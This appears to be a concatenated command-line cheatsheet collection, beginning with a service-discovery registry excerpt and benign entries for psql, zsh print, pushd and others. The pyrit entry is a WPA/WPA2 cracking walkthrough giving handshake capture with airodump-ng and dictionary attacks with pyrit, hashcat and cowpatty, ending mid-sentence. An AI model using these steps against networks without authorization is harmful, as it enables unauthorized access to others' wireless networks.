wdp                            tcp    Windows Device Portal        [Microsoft_Corporation_5]                             [Hirsch_Singhal]                                          2016-03-03                                                                                     Defined TXT keys: D (device type), S (https port), A
                                                                                                                                                                                                                                                                                  (architecture), T (tags)
                                      Cisco WebEx serials products
webex                          tcp    will release Bonjour based   [Mobile_Team]                                         [Aulion_Huang]                                            2018-02-09                                                                                     Defined TXT keys: None
                                      service
                                      Cisco WebEx serials products
webex                          udp    will release Bonjour based   [Mobile_Team]                                         [Aulion_Huang]                                            2018-02-09                                                                                     Defined TXT keys: None
                                      service
we-jell                               Proprietary collaborative    [Vaughn_Amann]                                        [Vaughn_Amann]                                                                                                                                           Defined TXT keys: user=<user name> stat=<OK, DND, AWY,
                                      messaging protocol                                                                                                                                                                                                                          FWD:uname> agent=<agent type>
                                      World Wide Web Distributed
webdav                                Authoring and Versioning     [Y_Y_Goland]                                          [Y_Y_Goland]                                                                                                                                             Defined TXT keys: u=<username> p=<password> path=<path>
                                      (WebDAV)
webdavs                               WebDAV over SSL/TLS          [Y_Y_Goland]                                          [Y_Y_Goland]                                                                                                                                             Defined TXT keys: u=<username> p=<password> path=<path>
webissync                             WebIS Sync Protocol          [Alex_Kac]                                            [Alex_Kac]                                                                                                                                               Defined TXT keys: None
wedraw                                weDraw document sharing      [Oleksandr_Zakharchuk]                                [Oleksandr_Zakharchuk]                                                                                                                                   Defined TXT keys: None
                                      protocol
whamb                                 Whamb                        [Whamb]                                               [Whamb]                                                                                                                                                  Defined TXT keys: None
whistler                              Honeywell Video Systems      [Shankar_Prasad_2]                                    [Shankar_Prasad_2]                                                                                                                                       Defined TXT keys: None
wicop                          udp    WiFi Control Platform        [Santorini_LLC]                                       [Cameron_Colpitts]                                        2011-10-25                                                                                     Defined TXT keys: state=<state> loc=<location>
                                      System for transferring
wifile                         tcp    files between mobile device  [Artyom_Nikolaev]                                     [Artyom_Nikolaev]                                         2016-12-23                                                                                     Defined TXT keys: None
                                      and computer in a local
                                      network
witap                                 WiTap Sample Game Protocol   [Rory_McGuire_2]                                      [Rory_McGuire_2]                                                                                                                                         Defined TXT keys: None
witapvoice                            witapvoice                   [Roberto_Garcia]                                      [Roberto_Garcia]                                                                                                                                         Defined TXT keys: None
wkgrpsvr                              Workgroup Server Discovery   [Forest_Hill]                                         [Forest_Hill]                                                                                                                                            Defined TXT keys: None
workstation                           Workgroup Manager            [Kevin_Arnold]                                        [Kevin_Arnold]                                                                                                                                           Defined TXT keys: None
wormhole                              Roku Cascade Wormhole        [Don_Woodward]                                        [Don_Woodward]                                                                                                                                           Defined TXT keys: txtvers=1
                                      Protocol
workgroup                             Novell collaboration         [Brady_Anderson]                                      [Brady_Anderson]                                                                                                                                         Defined TXT keys: version=? description=?
                                      workgroup
wpl-ers-http                   tcp    World Programming repository [World_Programming_Limited]                           [Thomas_Quarendon]                                        2017-03-17                                                                                     Defined TXT keys: None
                                      server
wpl-ers-zmq                    tcp    World Programming repository [World_Programming_Limited]                           [Thomas_Quarendon]                                        2017-03-17                                                                                     Defined TXT keys: None
                                      server
writietalkie                          Writie Talkie Data Sharing   [Yin_Ki_Lau]                                          [Yin_Ki_Lau]                                                                                                                                             Defined TXT keys: None
ws                                    Web Services                 [Andrew_Donoho]                                       [Andrew_Donoho]                                                                                                                                          Defined TXT keys: None
wtc-heleos                            Wyatt Technology Corporation [Brent_Fulgham]                                       [Brent_Fulgham]                                                                                                                                          Defined TXT keys: None
                                      HELEOS
wtc-qels                              Wyatt Technology Corporation [Brent_Fulgham]                                       [Brent_Fulgham]                                                                                                                                          Defined TXT keys: None
                                      QELS
wtc-rex                               Wyatt Technology Corporation [Roy_Reapor]                                          [Roy_Reapor]                                                                                                                                             Defined TXT keys: None
                                      Optilab rEX
wtc-viscostar                         Wyatt Technology Corporation [Roy_Reapor]                                          [Roy_Reapor]                                                                                                                                             Defined TXT keys: None
                                      ViscoStar
wtc-wpr                               Wyatt Technology Corporation [Brent_Fulgham]                                       [Brent_Fulgham]                                                                                                                                          Defined TXT keys: None
                                      DynaPro Plate Reader
wwdcpic                               PictureSharing sample code   [Marc_Krochmal]                                       [Marc_Krochmal]                                                                                                                                          Defined TXT keys: None
x-on                                  x-on services                [Matthias_Burghardt]                                  [Matthias_Burghardt]                                                                                                                                     Defined TXT keys: Proprietary
                                      synchronisation protocol
x-plane9                       udp    x-plane9                     [Austin_Meyer]                                        [Austin_Meyer]                                                                                                                                           Defined TXT keys: None
xcodedistcc                           Xcode Distributed Compiler   [Scott_Tooker]                                        [Scott_Tooker]                                                                                                                                           Defined TXT keys: None
xential                        tcp    xential document creation    [Xential]                                             [Michiel_Terpstra]                                        2013-11-13                                                                                     Defined TXT keys: None
                                      services
xgate-rmi                             xGate Remote Management      [Tim_Jobling]                                         [Tim_Jobling]                                                                                                                                            Defined TXT keys: tech=value (string) model=value (string)
                                      Interface                                                                                                                                                                                                                                   version=value (string)
xmiserver                      tcp    XMI Systems home terminal    [XMI_Systems_SA]                                      [CLAUDE_MALLY]                                            2013-01-18                                                                                     Defined TXT keys: coucou
                                      local connection
xmp                                   Xperientia Mobile Protocol   [Henric_Bergh]                                        [Henric_Bergh]                                            2007-01                                                                                        Defined TXT keys: txtvers, user, system, nodeid, desc
xsanclient                            Xsan Client                  [Jeff_Albouze]                                        [Jeff_Albouze]                                                                                                                                           Defined TXT keys: None
xsanserver                            Xsan Server                  [Jeff_Albouze]                                        [Jeff_Albouze]                                                                                                                                           Defined TXT keys: None
xsansystem                            Xsan System                  [Jeff_Albouze]                                        [Jeff_Albouze]                                                                                                                                           Defined TXT keys: None
xtimelicence                          xTime License                [AppMac_Software]                                     [AppMac_Software]                                                                                                                                        Defined TXT keys: None
xtshapro                              xTime Project                [AppMac_Software]                                     [AppMac_Software]                                                                                                                                        Defined TXT keys: None
                                      XUL (XML User Interface                                                                                                                                                                                                                     Defined TXT keys: u=<username> p=<password> path=<path to
xul-http                              Language) transported over   [Eran_Gampel]                                         [Eran_Gampel]                                                                                                                                            document> (Same as for _http._tcp)
                                      HTTP
yakumo                         udp    Yakumo iPhone OS Device      [Daniel_Heffernan]                                    [Daniel_Heffernan]                                                                                                                                       Defined TXT keys: None
                                      Control Protocol
z-wave                         tcp    Z-Wave Service Discovery     [Sigma_Designs_Inc]                                   [Anders_Brandt_2]                                         2011-10-03                                                                                     Defined TXT keys: NIF, EP, LM
z-wave                         udp    Z-Wave Service Discovery     [Sigma_Designs_Inc]                                   [Anders_Brandt_2]                                         2011-10-03                                                                                     Defined TXT keys: NIF, EP, LM
zeromq                         tcp    High performance brokerless  [Daniel_Holth]                                        [Daniel_Holth]                                            2012-04-24                                                                                     Defined TXT keys: type, app, label, note
                                      messaging
zeromq                         udp    High performance brokerless  [Daniel_Holth]                                        [Daniel_Holth]                                            2012-04-24                                                                                     Defined TXT keys: type, app, label, note
                                      messaging
zigbee-bridge                  tcp    ZigBee Bridge device         [ZigBee_Alliances_Network_Device_working_group]       [Leslie_Mulder]                                           2013-05-28                                                                                     Defined TXT keys: see:
                                                                                                                                                                                                                                                                                  http://www.zigbee.org/Standards/ZigBeeNetworkDevices
zigbee-bridge                  udp    ZigBee Bridge device         [ZigBee_Alliances_Network_Device_working_group]       [Leslie_Mulder]                                           2013-05-28                                                                                     Defined TXT keys: see:
                                                                                                                                                                                                                                                                                  http://www.zigbee.org/Standards/ZigBeeNetworkDevices
zigbee-gateway                 tcp    ZigBee IP Gateway            [ZigBee_Alliances_Network_Device_working_group]       [Leslie_Mulder]                                           2013-05-28                                                                                     Defined TXT keys: see:
                                                                                                                                                                                                                                                                                  http://www.zigbee.org/Standards/ZigBeeNetworkDevices
zigbee-gateway                 udp    ZigBee IP Gateway            [ZigBee_Alliances_Network_Device_working_group]       [Leslie_Mulder]                                           2013-05-28                                                                                     Defined TXT keys: see:
                                                                                                                                                                                                                                                                                  http://www.zigbee.org/Standards/ZigBeeNetworkDevices

#==============================##==============================#
# CMD PORT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

131 - 🖥️postcat

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the postcat command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗ ███████╗████████╗ ██████╗ █████╗ ████████╗
#  ██╔══██╗██╔═══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗╚══██╔══╝
#  ██████╔╝██║   ██║███████╗   ██║   ██║     ███████║   ██║   
#  ██╔═══╝ ██║   ██║╚════██║   ██║   ██║     ██╔══██║   ██║   
#  ██║     ╚██████╔╝███████║   ██║   ╚██████╗██║  ██║   ██║   
#  ╚═╝      ╚═════╝ ╚══════╝   ╚═╝    ╚═════╝╚═╝  ╚═╝   ╚═╝

postcat -vq 6311220097

postcat -vq MessageID aus mailq -> gibt die Nachricht wieder aus
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

132 - 🖥️prctl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the prctl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██████╗  ██████╗████████╗██╗     
#  ██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██║     
#  ██████╔╝██████╔╝██║        ██║   ██║     
#  ██╔═══╝ ██╔══██╗██║        ██║   ██║     
#  ██║     ██║  ██║╚██████╗   ██║   ███████╗
#  ╚═╝     ╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝

#  prctl
#  Get or set the resource controls of running processes,
#  Tasks, and projects (Solaris)

# Examine process limits and permissions:
prctl ${PID}

# Examine process limits and permissions in machine parseable format:
prctl -P ${PID}

# Get specific limit for a running process:
prctl -n process.max-file-descriptor ${PID}
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

133 - 🖥️print

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the print command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██████╗ ██╗███╗   ██╗████████╗
#                ██╔══██╗██╔══██╗██║████╗  ██║╚══██╔══╝
#                ██████╔╝██████╔╝██║██╔██╗ ██║   ██║   
#                ██╔═══╝ ██╔══██╗██║██║╚██╗██║   ██║   
#                ██║     ██║  ██║██║██║ ╚████║   ██║   
#                ╚═╝     ╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝   ╚═╝   
                                                      
                                                      
                                                      

# A plain old glob
print -l *.txt
print -l **/*.txt

# Show text files that end in a number from 1 to 10
print -l **/*<1-10>.txt

# Show text files that start with the letter a
print -l **/[a]*.txt

# Show text files that start with either ab or bc
print -l **/(ab|bc)*.txt

# Show text files that don't start with a lower or uppercase c
print -l **/[^cC]*.txt

# Show only directories
print -l **/*(/)

# Show only regular files
print -l **/*(.)

# Show empty files
print -l **/*(L0)

# Show files greater than 3 KB
print -l **/*(Lk+3)

# Show files modified in the last hour
print -l **/*(mh-1)

# Sort files from most to least recently modified and show the last 3
print -l **/*(om[1,3])

# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour,
# `om` sort by modification date, `[1,3]` only first 3 files
print -l **/*(.Lm-2mh-1om[1,3])

# Show every directory that contain directory `.git`
print -l **/*(e:'[[ -d $REPLY/.git ]]':)

# Return the file name (t stands for tail)
print -l *.txt(:t)

# Return the file name without the extension (r stands for remove_extension)
print -l *.txt(:t:r)

# Return the extension
print -l *.txt(:e)

# Return the parent folder of the file (h stands for head)
print -l *.txt(:h)

# Return the parent folder of the parent
print -l *.txt(:h:h)

# Return the parent folder of the first file
print -l *.txt([1]:h)

# Parameter expansion
files=(*.txt)          # store a glob in a variable
print -l $files
print -l $files(:h)    # this is the syntax we saw before
print -l ${files:h}
print -l ${files(:h)}  # don't mix the two, or you'll get an error
print -l ${files:u}    # the :u modifier makes the text uppercase

# :s modifier
variable="path/aaabcd"
echo ${variable:s/bc/BC/}    # path/aaaBCd
echo ${variable:s_bc_BC_}    # path/aaaBCd
echo ${variable:s/\//./}     # path.aaabcd (escaping the slash \/)
echo ${variable:s_/_._}      # path.aaabcd (slightly more readable)
echo ${variable:s/a/A/}      # pAth/aaabcd (only first A is replaced)
echo ${variable:gs/a/A/}     # pAth/AAAbcd (all A is replaced)

# Split the file name at each underscore
echo ${(s._.)file}

# Join expansion flag, opposite of the split flag.
array=(a b c d)
echo ${(j.-.)array} # a-b-c-d

#==============================##==============================#
# CMD PRINT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

134 - 🖥️psql

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the psql command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ███████╗ ██████╗ ██╗     
#                ██╔══██╗██╔════╝██╔═══██╗██║     
#                ██████╔╝███████╗██║   ██║██║     
#                ██╔═══╝ ╚════██║██║▄▄ ██║██║     
#                ██║     ███████║╚██████╔╝███████╗
#                ╚═╝     ╚══════╝ ╚══▀▀═╝ ╚══════╝

# PostgreSQL command-line client.

# Connect to database. It connects to localhost using default port 5432 with default user as currently logged in user:
psql database

# Connect to database on given server host running on given port with given username, without a password prompt:
psql -h host -p port -U username database

# Connect to database; user will be prompted for password:
psql -h host -p port -U username -W database

# Execute a single SQL query or PostgreSQL command on the given database (useful in shell scripts):
psql -c 'query' database

# Execute commands from a file on the given database:
psql database -f file.sql

# See also:
#   pg_dump, pg_restore, pg_top
#   PostgreSQL cheat sheets at /psql/
#   list of pages:      /psql/:list
#   search in pages:    /psql/~keyword                                                 
                                                 
# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5.
# Connection options:
# -U username (if not specified current OS user is used).
# -p port.
# -h server hostname/address.

# Connect to a specific database:
psql -U postgres -h serverAddress -d dbName

# Get databases on a server:
psql -U postgres -h serverAddress --list

# Execute sql query and save output to file:
psql -U postgres -d dbName -c 'select * from tableName;' -o fileName

# Execute query and get tabular html output:
psql -U postgres -d dbName -H -c 'select * from tableName;'

# Execute query and save resulting rows to csv file:
psql -U postgres -d dbName -t -A -P fieldsep=',' -c 'select * from tableName;' -o fileName.csv

# Read commands from file:
psql -f fileName

# Restore databases from file:
psql -f fileName.backup postgres

#==============================##==============================#
# CMD PSQL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

135 - 🖥️pup

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pup command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗   ██╗██████╗ 
#  ██╔══██╗██║   ██║██╔══██╗
#  ██████╔╝██║   ██║██████╔╝
#  ██╔═══╝ ██║   ██║██╔═══╝ 
#  ██║     ╚██████╔╝██║     
#  ╚═╝      ╚═════╝ ╚═╝

# pup
#
# pup is a command line tool for processing HTML
# It reads from stdin, prints to stdout, and allows the user to filter parts of the page using CSS selectors.

# install pup
# (requires go)
go install github.com/ericchiang/pup

# indent and colorize HTML
cat file.html | pup --color

# filter by tag
cat file.html | pup 'title'

# pseudoclass: filter by content "History"
cat file.html | pup ':contains("History")'

# multiple groups of selectors
cat file.html | pup 'title, h1 span[dir="auto"]'
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

136 - 🖥️pushd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pushd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗   ██╗███████╗██╗  ██╗██████╗ 
#                ██╔══██╗██║   ██║██╔════╝██║  ██║██╔══██╗
#                ██████╔╝██║   ██║███████╗███████║██║  ██║
#                ██╔═══╝ ██║   ██║╚════██║██╔══██║██║  ██║
#                ██║     ╚██████╔╝███████║██║  ██║██████╔╝
#                ╚═╝      ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═════╝ 
                                                         
                

# Pushes your current directory to the top of a stack while changing to the specified directory
pushd <directory>

pushd and popd 
# are also common programs you can use for moving around the filesystem. See 'help pushd' and 'help popd' for info.

# To return use popd
popd

# Come back quickly to the current directory after doing some temporary work somewhere else
pushd /some/where/else; work; cd /somewhere; work; cd /another/place; popd

# Explanation: 
    # pushd, popd and dirs are bash builtins, you can read about them with help dirs
    # bash keeps a stack of "remembered" directories, and this stack can be manipulated with the pushd and popd builtins, and displayed with the dirs builtin
    # pushd will put the current directory on top of the directory stack. So, if you need to change to a different directory temporarily and you know that eventually you will want to come back to where you are, it is better to change directory with pushd instead of cd. While working on the temporary task you can change directories with cd several times, and in the end when you want to come back to where you started from, you can simply do popd.

#==============================##==============================#
# CMD PUSHD					       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

137 - 🖥️pyrit

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pyrit command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗   ██╗██████╗ ██╗████████╗
#                ██╔══██╗╚██╗ ██╔╝██╔══██╗██║╚══██╔══╝
#                ██████╔╝ ╚████╔╝ ██████╔╝██║   ██║   
#                ██╔═══╝   ╚██╔╝  ██╔══██╗██║   ██║   
#                ██║        ██║   ██║  ██║██║   ██║   
#                ╚═╝        ╚═╝   ╚═╝  ╚═╝╚═╝   ╚═╝   
                                                     
                                                    

http://console-cowboys.blogspot.com/2011/01/more-wpa-cracking-techniques-jtr-pyrit.html

https://br-new.com/online/%E2%96%BA-kali-linux-cowpatty-genpmk-pyrit-vs-aircrack-ng-tutorial-deutsch-hd-YQ0jcgLbHqg.html

pyrit eval
pyrit -i <dictionary.txt> import_passwords
pyrit -e <ssid> create_essid
pyrit eval
pyrit batch
pyrit verify
pyrit -o <wpadb> export_hashdb
aircrack-ng -r <wpadb> <output01>.cap

Some useful resources
http://www.backtrack-linux.org/tutorials/usb-live-install/
http://www.backtrack-linux.org/downloads/
http://www.aircrack-ng.org/doku.php?id=airolib-ng
http://j2neon.blogspot.com/2011/07/cracking-wpa-using-pyrit-and-aircrack.html
https://xiaopan.co/forums/threads/crack-wpa2-know-your-target.2030/
http://adaywithtape.blogspot.com/2011/05/creating-wordlists-with-crunch-v30.html

./crunch 10 10 0123456789 -s 0125700000 -e 0125800000 -u | ./cowpatty -2 -f- -r <cap.file> -s <ESSID> -v

pyrit -r "yourcapture*.pcap" analyze give you what status (good/workable/bad)?

pyrit -r handshake_NETGEAR83_2C-30-33-D5-7F-E4_2018-07-14T22-47-58.cap analyze

airmon-ng start wlan0

Now the monitor mode is enabled with name wlan0mon.

and then with the following command start listening to all the available wifi connections:

airodump-ng wlan0mon

After running the above command it will start listening all the wifi traffic nearby so wait till your target appears and then hit ctrl^c.

Now we have to listen to a specific channel on which the target is present . Now run command:

airodump-ng -c 2 –bssid 3C:1E:04:XX:XX:XX –write sommay wlan0mon

-c == channel number of the target (2 in my case , see the CH column)

–bssid == MAC address of the target AP

–write == name of the capture file

Now wait till the WPA handshake is captured and then hit crtl^c.

Now a file named sommay-01.cap will be generated

PYRIT

First method to crack the password from the capture file is PYRIT . We will use dictionary-attack so run command:

pyrit -i /usr/share/nmap/nselib/data/password.lst -r sommay-01.cap attack_passthrough

-i == path to the input file in our case  it is the path to dictionary

-r ==  path to the captured fle which ( in our case it is sommay-01.cap)

attack_passthrough == this options is to specify that a dictionary attack is to be performed

As you can see it has successfully cracked the password.

OCLHASHCAT

First of all download oclhashcat from its official website: https://hashcat.net/files/hashcat-2.00.7z

First we have to convert the .cap file we captured with airodump-ng previously  to .hccap with aircrack-ng  by command:

aircrack-ng sommay-01.cap -J sommay-01
-J == the path to the output file with extension .hccap

Now copy the dictionary you want to use in the Hashcat folder. Now enter in the hashcat folder and run command:

./hashcat-cli64.bin -m 2500 /root/sommay-01.hccap passwords.lst

In above command if you are using 32 bit system replace 64 with 32.

-m is the hash type  which is 2500 for WPA/WPA2 cracking

then give the path to .hccap file which you converted with aircrack-ng. and then the name of the dictionary file. As you can see it has successfully cracked the password.

COWPATTY

For cracking with the help of cowpatty we have to first generate the hash file specific to the target AP. For this we will use genpmk so run command:

genpmk -f passwords.lst -d cowpatty_dict -s SOMMAY
-f == path to the dictionary file
-d == name of the output dictionary
-s == ESSID(Name) of the target AP(The name should be identical to the target AP)

Now it will generate a dictionary file named cowpatty_dict which will speed up the cracking process.

Now run command :

cowpatty  -d cowpatty_dict -r sommay-01.cap -s SOMMAY
-d == path to dictionary we generated with genpmk
-r == path to the capture file we generated with airodump-ng
-s == ESSID of the target AP(The name should be identical to the target AP)

#########################

WPA JTR/Pyrit/cowpatty uses and cracking interoperability

Below is a bunch of  ways to inter-operate between pyrit/cowpatty/jtr with various attacking and exporting techniques. I recently figured these out while having to juggle all kinds of cracking issues. A few weeks ago I was performing a wireless pentest and came up across a rather standard WPA PSK network. However, this came with issues that spawned into learning a bunch of new command line usages for various tools in conjunction with one another. 

For the end goal of a simple WPA key retrieval.  The issue I was having which required me to expand my wireless toolset was that programs across various operating systems were behaving differently or just plain not working at all. For example my cracker of choice is generally CowPatty but for some reason and I hope one of the readers on this blog can tell me why, CowPatty was behaving differently between my OSX, Standard Linux distro and my BT4 R2 Vmware.  This is also the reason for the last post on GPU CUDA via OSX. So below are various ways to use different programs for WPA cracking related gymnastics of sorts.

Standard Cracking: 

Firstly we have our standard way of cracking WPA, we can use CowPatty to determine if we have a handshake and then crack the password. 

Check if we have a handshake with –c option:

cowpatty -r Capture.cap -c -s SSID

cowpatty 4.6 - WPA-PSK dictionary attack.

Collected all necessary data to mount crack against WPA/PSK passphrase

Try to Crack the password:

Now if we are sure we have a valid handshake we can crack the hash with a dictionary file.  Using the following cmdline.

cowpatty -r Capture.cap -f  dictionary.txt  -s SSID

Starting dictionary attack.  Please be patient.

key no. 1000: Anglo-spanish

Unable to identify the PSK from the dictionary file. Try expanding your

